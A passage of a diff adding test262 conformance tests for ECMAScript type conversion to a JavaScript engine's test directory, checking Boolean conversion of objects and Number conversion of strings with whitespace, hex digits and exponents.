+if (!("Nonempty String") !== false) {
+ $ERROR('#2: !("Nonempty String") === false. Actual: ' + (!("Nonempty String")));
+}
+
diff --git a/js/src/tests/test262/ch09/9.2/S9.2_A6_T1.js b/js/src/tests/test262/ch09/9.2/S9.2_A6_T1.js
new file mode 100644
index 000000000..72bb34e26
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.2/S9.2_A6_T1.js
@@ -0,0 +1,105 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of boolean conversion from object is true
+ *
+ * @path ch09/9.2/S9.2_A6_T1.js
+ * @description Different objects convert to Boolean by explicit transformation
+ */
+
+// CHECK#1
+if (Boolean(new Object()) !== true) {
+ $ERROR('#1: Boolean(new Object()) === true. Actual: ' + (Boolean(new Object())));
+}
+
+// CHECK#2
+if (Boolean(new String("")) !== true) {
+ $ERROR('#2: Boolean(new String("")) === true. Actual: ' + (Boolean(new String(""))));
+}
+
+// CHECK#3
+if (Boolean(new String()) !== true) {
+ $ERROR('#3: Boolean(new String()) === true. Actual: ' + (Boolean(new String())));
+}
+
+// CHECK#4
+if (Boolean(new Boolean(true)) !== true) {
+ $ERROR('#4: Boolean(new Boolean(true)) === true. Actual: ' + (Boolean(new Boolean(true))));
+}
+
+// CHECK#5
+if (Boolean(new Boolean(false)) !== true) {
+ $ERROR('#5: Boolean(new Boolean(false)) === true. Actual: ' + (Boolean(new Boolean(false))));
+}
+
+// CHECK#6
+if (Boolean(new Boolean()) !== true) {
+ $ERROR('#6: Boolean(new Boolean()) === true. Actual: ' + (Boolean(new Boolean())));
+}
+
+// CHECK#7
+if (Boolean(new Array()) !== true) {
+ $ERROR('#7: Boolean(new Array()) === true. Actual: ' + (Boolean(new Array())));
+}
+
+// CHECK#8
+if (Boolean(new Number()) !== true) {
+ $ERROR('#8: Boolean(new Number()) === true. Actual: ' + (Boolean(new Number())));
+}
+
+// CHECK#9
+if (Boolean(new Number(-0)) !== true) {
+ $ERROR('#9: Boolean(new Number(-0)) === true. Actual: ' + (Boolean(new Number(-0))));
+}
+
+// CHECK#10
+if (Boolean(new Number(0)) !== true) {
+ $ERROR('#10: Boolean(new Number(0)) === true. Actual: ' + (Boolean(new Number(0))));
+}
+
+// CHECK#11
+if (Boolean(new Number()) !== true) {
+ $ERROR('#11: Boolean(new Number()) === true. Actual: ' + (Boolean(new Number())));
+}
+
+// CHECK#12
+if (Boolean(new Number(Number.NaN)) !== true) {
+ $ERROR('#12: Boolean(new Number(Number.NaN)) === true. Actual: ' + (Boolean(new Number(Number.NaN))));
+}
+
+// CHECK#13
+if (Boolean(new Number(-1)) !== true) {
+ $ERROR('#13: Boolean(new Number(-1)) === true. Actual: ' + (Boolean(new Number(-1))));
+}
+
+// CHECK#14
+if (Boolean(new Number(1)) !== true) {
+ $ERROR('#14: Boolean(new Number(1)) === true. Actual: ' + (Boolean(new Number(1))));
+}
+
+// CHECK#15
+if (Boolean(new Number(Number.POSITIVE_INFINITY)) !== true) {
+ $ERROR('#15: Boolean(new Number(Number.POSITIVE_INFINITY)) === true. Actual: ' + (Boolean(new Number(Number.POSITIVE_INFINITY))));
+}
+
+// CHECK#16
+if (Boolean(new Number(Number.NEGATIVE_INFINITY)) !== true) {
+ $ERROR('#16: Boolean(new Number(Number.NEGATIVE_INFINITY)) === true. Actual: ' + (Boolean(new Number(Number.NEGATIVE_INFINITY))));
+}
+
+// CHECK#17
+if (Boolean(new Function()) !== true) {
+ $ERROR('#17: Boolean(new Function()) === true. Actual: ' + (Boolean(new Function())));
+}
+
+// CHECK#18
+if (Boolean(new Date()) !== true) {
+ $ERROR('#18: Boolean(new Date()) === true. Actual: ' + (Boolean(new Date())));
+}
+
+// CHECK#19
+if (Boolean(new Date(0)) !== true) {
+ $ERROR('#19: Boolean(new Date(0)) === true. Actual: ' + (Boolean(new Date(0))));
+}
+
diff --git a/js/src/tests/test262/ch09/9.2/S9.2_A6_T2.js b/js/src/tests/test262/ch09/9.2/S9.2_A6_T2.js
new file mode 100644
index 000000000..54dbbb6f3
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.2/S9.2_A6_T2.js
@@ -0,0 +1,105 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of boolean conversion from object is true
+ *
+ * @path ch09/9.2/S9.2_A6_T2.js
+ * @description Different objects convert to Boolean by implicit transformation
+ */
+
+// CHECK#1
+if (!(new Object()) !== false) {
+ $ERROR('#1: !(new Object()) === false. Actual: ' + (!(new Object())));
+}
+
+// CHECK#2
+if (!(new String("")) !== false) {
+ $ERROR('#2: !(new String("")) === false. Actual: ' + (!(new String(""))));
+}
+
+// CHECK#3
+if (!(new String()) !== false) {
+ $ERROR('#3: !(new String()) === false. Actual: ' + (!(new String())));
+}
+
+// CHECK#4
+if (!(new Boolean(true)) !== false) {
+ $ERROR('#4: !(new Boolean(true)) === false. Actual: ' + (!(new Boolean(true))));
+}
+
+// CHECK#5
+if (!(new Boolean(false)) !== false) {
+ $ERROR('#5: !(new Boolean(false)) === false. Actual: ' + (!(new Boolean(false))));
+}
+
+// CHECK#6
+if (!(new Boolean()) !== false) {
+ $ERROR('#6: !(new Boolean()) === false. Actual: ' + (!(new Boolean())));
+}
+
+// CHECK#7
+if (!(new Array()) !== false) {
+ $ERROR('#7: !(new Array()) === false. Actual: ' + (!(new Array())));
+}
+
+// CHECK#8
+if (!(new Number()) !== false) {
+ $ERROR('#8: !(new Number()) === false. Actual: ' + (!(new Number())));
+}
+
+// CHECK#9
+if (!(new Number(-0)) !== false) {
+ $ERROR('#9: !(new Number(-0)) === false. Actual: ' + (!(new Number(-0))));
+}
+
+// CHECK#10
+if (!(new Number(0)) !== false) {
+ $ERROR('#10: !(new Number(0)) === false. Actual: ' + (!(new Number(0))));
+}
+
+// CHECK#11
+if (!(new Number()) !== false) {
+ $ERROR('#11: !(new Number()) === false. Actual: ' + (!(new Number())));
+}
+
+// CHECK#12
+if (!(new Number(Number.NaN)) !== false) {
+ $ERROR('#12: !(new Number(Number.NaN)) === false. Actual: ' + (!(new Number(Number.NaN))));
+}
+
+// CHECK#13
+if (!(new Number(-1)) !== false) {
+ $ERROR('#13: !(new Number(-1)) === false. Actual: ' + (!(new Number(-1))));
+}
+
+// CHECK#14
+if (!(new Number(1)) !== false) {
+ $ERROR('#14: !(new Number(1)) === false. Actual: ' + (!(new Number(1))));
+}
+
+// CHECK#15
+if (!(new Number(Number.POSITIVE_INFINITY)) !== false) {
+ $ERROR('#15: !(new Number(Number.POSITIVE_INFINITY)) === false. Actual: ' + (!(new Number(Number.POSITIVE_INFINITY))));
+}
+
+// CHECK#16
+if (!(new Number(Number.NEGATIVE_INFINITY)) !== false) {
+ $ERROR('#16: !(new Number(Number.NEGATIVE_INFINITY)) === false. Actual: ' + (!(new Number(Number.NEGATIVE_INFINITY))));
+}
+
+// CHECK#17
+if (!(new Function()) !== false) {
+ $ERROR('#17: !(new Function()) === false. Actual: ' + (!(new Function())));
+}
+
+// CHECK#18
+if (!(new Date()) !== false) {
+ $ERROR('#18: !(new Date()) === false. Actual: ' + (!(new Date())));
+}
+
+// CHECK#19
+if (!(new Date(0)) !== false) {
+ $ERROR('#19: !(new Date(0)) === false. Actual: ' + (!(new Date(0))));
+}
+
diff --git a/js/src/tests/test262/ch09/9.2/browser.js b/js/src/tests/test262/ch09/9.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.2/browser.js
diff --git a/js/src/tests/test262/ch09/9.2/shell.js b/js/src/tests/test262/ch09/9.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.2/shell.js
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A1.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A1.js
new file mode 100644
index 000000000..35b235fa3
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A1.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of StringNumericLiteral ::: [empty] is 0
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A1.js
+ * @description Number('') convert to Number by explicit transformation
+ */
+
+// CHECK#1
+if (Number("") !== 0) {
+ $ERROR('#1.1: Number("") === 0. Actual: ' + (Number("")));
+} else {
+ if (1/Number("") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1.2: Number("") == +0. Actual: -0');
+ }
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A10.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A10.js
new file mode 100644
index 000000000..1f7d3f958
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A10.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of StrUnsignedDecimalLiteral:::. DecimalDigits is the
+ * MV of DecimalDigits times 10<sup><small>-n</small></sup>, where n is the
+ * number of characters in DecimalDigits
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A10.js
+ * @description Compare Number('.12345') with +('12345')*1e-5
+ */
+
+// CHECK#1
+if (Number(".12345") !== +("12345")*1e-5) {
+ $ERROR('#1: Number(".12345") === +("12345")*1e-5');
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A11.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A11.js
new file mode 100644
index 000000000..9f58e16f2
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A11.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of StrUnsignedDecimalLiteral:::. DecimalDigits ExponentPart
+ * is the MV of DecimalDigits times 10<sup><small>e-n</small></sup>, where n is
+ * the number of characters in DecimalDigits and e is the MV of ExponentPart
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A11.js
+ * @description Compare Number('.12345e6') with +('12345')*1e1,
+ * and Number('.12345e-3') !== Number('12345')*1e-8
+ */
+
+// CHECK#1
+if (Number(".12345e6") !== +("12345")*1e1) {
+ $ERROR('#1: Number(".12345e6") === +("12345")*1e1');
+}
+
+// CHECK#2
+if (Number(".12345e-3") !== Number("12345")*1e-8) {
+ $ERROR('#2: Number(".12345e-3") === Number("12345")*1e-8');
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A12.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A12.js
new file mode 100644
index 000000000..201040946
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A12.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of StrUnsignedDecimalLiteral::: DecimalDigits ExponentPart
+ * is the MV of DecimalDigits times 10<sup><small>e</small></sup>, where e is the MV of ExponentPart
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A12.js
+ * @description Compare Number('12345e6') with +('12345')*1e1,
+ * and Number('12345e-6') !== Number('12345')*1e-6
+ */
+
+// CHECK#1
+if (Number("12345e6") !== +("12345")*1e6) {
+ $ERROR('#1: Number("12345e6") === +("12345")*1e6');
+}
+
+// CHECK#2
+if (Number("12345e-6") !== Number("12345")*1e-6) {
+ $ERROR('#2: Number("12345e-6") === Number("12345")*1e-6');
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A13.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A13.js
new file mode 100644
index 000000000..8d51f4b02
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A13.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of DecimalDigits ::: DecimalDigits DecimalDigit is
+ * (the MV of DecimalDigits times 10) plus the MV of DecimalDigit
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A13.js
+ * @description Compare '12' with Number("1")*10+Number("2") and analogous
+ */
+
+// CHECK#1
+if (+("12") !== Number("1")*10+Number("2")) {
+ $ERROR('#1: +("12") === Number("1")*10+Number("2")');
+}
+
+// CHECK#2
+if (Number("123") !== Number("12")*10+Number("3")) {
+ $ERROR('#2: Number("123") === Number("12")*10+Number("3")');
+}
+
+// CHECK#2
+if (Number("1234") !== Number("123")*10+Number("4")) {
+ $ERROR('#2: Number("1234") === Number("123")*10+Number("4")');
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A14.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A14.js
new file mode 100644
index 000000000..4ed80b082
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A14.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of SignedInteger ::: + DecimalDigits is the MV of DecimalDigits
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A14.js
+ * @description Compare Number('+1234567890') with +('1234567890')
+ */
+
+// CHECK#1
+if (Number("+1234567890") !== +("1234567890")) {
+ $ERROR('#1: Number("+1234567890") === +("1234567890")');
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A15.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A15.js
new file mode 100644
index 000000000..d0ba80b6e
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A15.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of SignedInteger ::: - DecimalDigits is the negative of the MV of DecimalDigits
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A15.js
+ * @description Compare -Number('1234567890') with ('-1234567890')
+ */
+
+// CHECK#1
+if (+("-1234567890") !== -Number("1234567890")) {
+ $ERROR('#1: +("-1234567890") === -Number("1234567890")');
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A16.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A16.js
new file mode 100644
index 000000000..6163fbb4a
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A16.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of DecimalDigit ::: 0 or of HexDigit ::: 0 is 0
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A16.js
+ * @description Compare Number('0x0') and Number('0X0') with 0
+ */
+
+// CHECK#1
+if (Number("0") !== 0) {
+ $ERROR('#1: Number("0") === 0. Actual: ' + (Number("0")));
+}
+
+// CHECK#2
+if (+("0x0") !== 0) {
+ $ERROR('#2: +("0x0") === 0. Actual: ' + (+("0x0")));
+}
+
+// CHECK#3
+if (Number("0X0") !== 0) {
+ $ERROR('#3: Number("0X0") === 0. Actual: ' + (Number("0X0")));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A17.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A17.js
new file mode 100644
index 000000000..d4b72bbf5
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A17.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of DecimalDigit ::: 1 or of HexDigit ::: 1 is 1
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A17.js
+ * @description Compare Number('0x1') and Number('0X1') with 1
+ */
+
+// CHECK#1
+if (Number("1") !== 1) {
+ $ERROR('#1: Number("1") === 1. Actual: ' + (Number("1")));
+}
+
+// CHECK#2
+if (Number("0x1") !== 1) {
+ $ERROR('#2: Number("0x1") === 1. Actual: ' + (Number("0x1")));
+}
+
+// CHECK#3
+if (+("0X1") !== 1) {
+ $ERROR('#3: +("0X1") === 1. Actual: ' + (+("0X1")));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A18.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A18.js
new file mode 100644
index 000000000..b4375494c
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A18.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of DecimalDigit ::: 2 or of HexDigit ::: 2 is 2
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A18.js
+ * @description Compare Number('0x2') and Number('0X2') with 2
+ */
+
+// CHECK#1
+if (+("2") !== 2) {
+ $ERROR('#1: +("2") === 2. Actual: ' + (+("2")));
+}
+
+// CHECK#2
+if (Number("0x2") !== 2) {
+ $ERROR('#2: Number("0x2") === 2. Actual: ' + (Number("0x2")));
+}
+
+// CHECK#3
+if (Number("0X2") !== 2) {
+ $ERROR('#3: Number("0X2") === 2. Actual: ' + (Number("0X2")));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A19.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A19.js
new file mode 100644
index 000000000..0abc0200a
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A19.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of DecimalDigit ::: 3 or of HexDigit ::: 3 is 3
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A19.js
+ * @description Compare Number('0x3') and Number('0X3') with 3
+ */
+
+// CHECK#1
+if (Number("3") !== 3) {
+ $ERROR('#1: Number("3") === 3. Actual: ' + (Number("3")));
+}
+
+// CHECK#2
+if (+("0x3") !== 3) {
+ $ERROR('#2: +("0x3") === 3. Actual: ' + (+("0x3")));
+}
+
+// CHECK#3
+if (Number("0X3") !== 3) {
+ $ERROR('#3: Number("0X3") === 3. Actual: ' + (Number("0X3")));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A2.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A2.js
new file mode 100644
index 000000000..f9bb01465
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A2.js
@@ -0,0 +1,289 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of StringNumericLiteral ::: StrWhiteSpace is 0
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A2.js
+ * @description Strings with various WhiteSpaces convert to Number by explicit transformation
+ */
+
+// CHECK#1
+if (Number("\u0009\u000C\u0020\u00A0\u000B\u000A\u000D\u2028\u2029\u1680\u180E\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000") !== 0) {
+ $ERROR('#1.1: Number("\\u0009\\u000C\\u0020\\u00A0\\u000B\\u000A\\u000D\\u2028\\u2029\\u1680\\u180E\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200A\\u202F\\u205F\\u3000") === 0. Actual: ' + (Number("\u0009\u000C\u0020\u00A0\u000B\u000A\u000D\u2028\u2029\u1680\u180E\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000")));
+} else {
+ if (1/Number("\u0009\u000C\u0020\u00A0\u000B\u000A\u000D\u2028\u2029\u1680\u180E\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1.2: Number("\\u0009\\u000C\\u0020\\u00A0\\u000B\\u000A\\u000D\\u2028\\u2029\\u1680\\u180E\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200A\\u202F\\u205F\\u3000") === +0. Actual: -0');
+ }
+}
+
+// CHECK#2
+if (Number(" ") !== 0) {
+ $ERROR('#2.1: Number(" ") === 0. Actual: ' + (Number(" ")));
+} else {
+ if (1/Number(" ") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#2.2: Number(" ") === +0. Actual: -0');
+ }
+}
+
+// CHECK#3
+if (Number("\t") !== 0) {
+ $ERROR('#3.1: Number("\\t") === 0. Actual: ' + (Number("\t")));
+} else {
+ if (1/Number("\t") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#3.2: Number("\\t") === +0. Actual: -0');
+ }
+}
+
+// CHECK#4
+if (Number("\r") !== 0) {
+ $ERROR('#4.1: Number("\\r") === 0. Actual: ' + (Number("\r")));
+} else {
+ if (1/Number("\r") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#4.2: Number("\\r") === +0. Actual: -0');
+ }
+}
+
+// CHECK#5
+if (Number("\n") !== 0) {
+ $ERROR('#5.1: Number("\\n") === 0. Actual: ' + (Number("\n")));
+} else {
+ if (1/Number("\n") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#5.2: Number("\\n") === +0. Actual: -0');
+ }
+}
+
+// CHECK#6
+if (Number("\f") !== 0) {
+ $ERROR('#6.1: Number("\\f") === 0. Actual: ' + (Number("\f")));
+} else {
+ if (1/Number("\f") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#6.2: Number("\\f") === +0. Actual: -0');
+ }
+}
+
+// CHECK#7
+if (Number("\u0009") !== 0) {
+ $ERROR('#7.1: Number("\\u0009") === 0. Actual: ' + (Number("\u0009")));
+} else {
+ if (1/Number("\u0009") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#7.2: Number("\\u0009") === +0. Actual: -0');
+ }
+}
+
+// CHECK#8
+if (Number("\u000A") !== 0) {
+ $ERROR('#8.1: Number("\\u000A") === 0. Actual: ' + (Number("\u000A")));
+} else {
+ if (1/Number("\u000A") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#8.2: Number("\\u000A") === +0. Actual: -0');
+ }
+}
+
+// CHECK#9
+if (Number("\u000B") !== 0) {
+ $ERROR('#9.1: Number("\\u000B") === 0. Actual: ' + (Number("\u000B")));
+} else {
+ if (1/Number("\u000B") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#9.1.2: Number("\\u000B") === +0. Actual: -0');
+ }
+}
+
+// CHECK#10
+if (Number("\u000C") !== 0) {
+ $ERROR('#10.1: Number("\\u000C") === 0. Actual: ' + (Number("\u000C")));
+} else {
+ if (1/Number("\u000C") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#10.2: Number("\\u000C") === +0. Actual: -0');
+ }
+}
+
+// CHECK#11
+if (Number("\u000D") !== 0) {
+ $ERROR('#11.1: Number("\\u000D") === 0. Actual: ' + (Number("\u000D")));
+} else {
+ if (1/Number("\u000D") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#11.2: Number("\\u000D") === +0. Actual: -0');
+ }
+}
+
+// CHECK#12
+if (Number("\u00A0") !== 0) {
+ $ERROR('#12.1: Number("\\u00A0") === 0. Actual: ' + (Number("\u00A0")));
+} else {
+ if (1/Number("\u00A0") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#12.2: Number("\\u00A0") === +0. Actual: -0');
+ }
+}
+
+// CHECK#13
+if (Number("\u0020") !== 0) {
+ $ERROR('#13.1: Number("\\u0020") === 0. Actual: ' + (Number("\u0020")));
+} else {
+ if (1/Number("\u0020") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#13.2: Number("\\u0020") === +0. Actual: -0');
+ }
+}
+
+// CHECK#14
+if (Number("\u2028") !== 0) {
+ $ERROR('#14.1: Number("\\u2028") === 0. Actual: ' + (Number("\u2028")));
+} else {
+ if (1/Number("\u2028") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#14.2: Number("\\u2028") === +0. Actual: -0');
+ }
+}
+
+// CHECK#15
+if (Number("\u2029") !== 0) {
+ $ERROR('#15.1: Number("\\u2029") === 0. Actual: ' + (Number("\u2029")));
+} else {
+ if (1/Number("\u2029") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#15.2: Number("\\u2029") === +0. Actual: -0');
+ }
+}
+
+// CHECK#16
+if (Number("\u1680") !== 0) {
+ $ERROR('#16.1: Number("\\u1680") === 0. Actual: ' + (Number("\u1680")));
+} else {
+ if (1/Number("\u1680") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#16.2: Number("\\u1680") === +0. Actual: -0');
+ }
+}
+
+// CHECK#17
+if (Number("\u180E") !== 0) {
+ $ERROR('#17.1: Number("\\u180E") === 0. Actual: ' + (Number("\u180E")));
+} else {
+ if (1/Number("\u180E") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#17.2: Number("\\u180E") === +0. Actual: -0');
+ }
+}
+
+// CHECK#18
+if (Number("\u2000") !== 0) {
+ $ERROR('#18.1: Number("\\u2000") === 0. Actual: ' + (Number("\u2000")));
+} else {
+ if (1/Number("\u2000") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#18.2: Number("\\u2000") === +0. Actual: -0');
+ }
+}
+
+// CHECK#19
+if (Number("\u2001") !== 0) {
+ $ERROR('#19.1: Number("\\u2001") === 0. Actual: ' + (Number("\u2001")));
+} else {
+ if (1/Number("\u2001") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#19.2: Number("\\u2001") === +0. Actual: -0');
+ }
+}
+
+// CHECK#20
+if (Number("\u2002") !== 0) {
+ $ERROR('#20.1: Number("\\u2002") === 0. Actual: ' + (Number("\u2002")));
+} else {
+ if (1/Number("\u2002") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#20.2: Number("\\u2002") === +0. Actual: -0');
+ }
+}
+
+// CHECK#21
+if (Number("\u2003") !== 0) {
+ $ERROR('#21.1: Number("\\u2003") === 0. Actual: ' + (Number("\u2003")));
+} else {
+ if (1/Number("\u2003") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#21.2: Number("\\u2003") === +0. Actual: -0');
+ }
+}
+
+// CHECK#22
+if (Number("\u2004") !== 0) {
+ $ERROR('#22.1: Number("\\u2004") === 0. Actual: ' + (Number("\u2004")));
+} else {
+ if (1/Number("\u2004") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#22.2: Number("\\u2004") === +0. Actual: -0');
+ }
+}
+
+// CHECK#23
+if (Number("\u2005") !== 0) {
+ $ERROR('#23.1: Number("\\u2005") === 0. Actual: ' + (Number("\u2005")));
+} else {
+ if (1/Number("\u2005") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#23.2: Number("\\u2005") === +0. Actual: -0');
+ }
+}
+
+// CHECK#24
+if (Number("\u2006") !== 0) {
+ $ERROR('#24.1: Number("\\u2006") === 0. Actual: ' + (Number("\u2006")));
+} else {
+ if (1/Number("\u2006") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#24.2: Number("\\u2006") === +0. Actual: -0');
+ }
+}
+
+// CHECK#25
+if (Number("\u2007") !== 0) {
+ $ERROR('#25.1: Number("\\u2007") === 0. Actual: ' + (Number("\u2007")));
+} else {
+ if (1/Number("\u2007") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#25.2: Number("\\u2007") === +0. Actual: -0');
+ }
+}
+
+// CHECK#26
+if (Number("\u2008") !== 0) {
+ $ERROR('#26.1: Number("\\u2008") === 0. Actual: ' + (Number("\u2008")));
+} else {
+ if (1/Number("\u2008") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#26.2: Number("\\u2008") === +0. Actual: -0');
+ }
+}
+
+// CHECK#27
+if (Number("\u2009") !== 0) {
+ $ERROR('#27.1: Number("\\u2009") === 0. Actual: ' + (Number("\u2009")));
+} else {
+ if (1/Number("\u2009") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#27.2: Number("\\u2009") === +0. Actual: -0');
+ }
+}
+
+// CHECK#28
+if (Number("\u200A") !== 0) {
+ $ERROR('#28.1: Number("\\u200A") === 0. Actual: ' + (Number("\u200A")));
+} else {
+ if (1/Number("\u200A") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#28.2: Number("\\u200A") === +0. Actual: -0');
+ }
+}
+
+// CHECK#29
+if (Number("\u202F") !== 0) {
+ $ERROR('#29.1: Number("\\u202F") === 0. Actual: ' + (Number("\u202F")));
+} else {
+ if (1/Number("\u202F") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#29.2: Number("\\u202F") === +0. Actual: -0');
+ }
+}
+
+// CHECK#30
+if (Number("\u205F") !== 0) {
+ $ERROR('#30.1: Number("\\u205F") === 0. Actual: ' + (Number("\u205F")));
+} else {
+ if (1/Number("\u205F") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#30.2: Number("\\u205F") === +0. Actual: -0');
+ }
+}
+
+// CHECK#31
+if (Number("\u3000") !== 0) {
+ $ERROR('#31.1: Number("\\u3000") === 0. Actual: ' + (Number("\u3000")));
+} else {
+ if (1/Number("\u3000") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#31.2: Number("\\u3000") === +0. Actual: -0');
+ }
+}
+
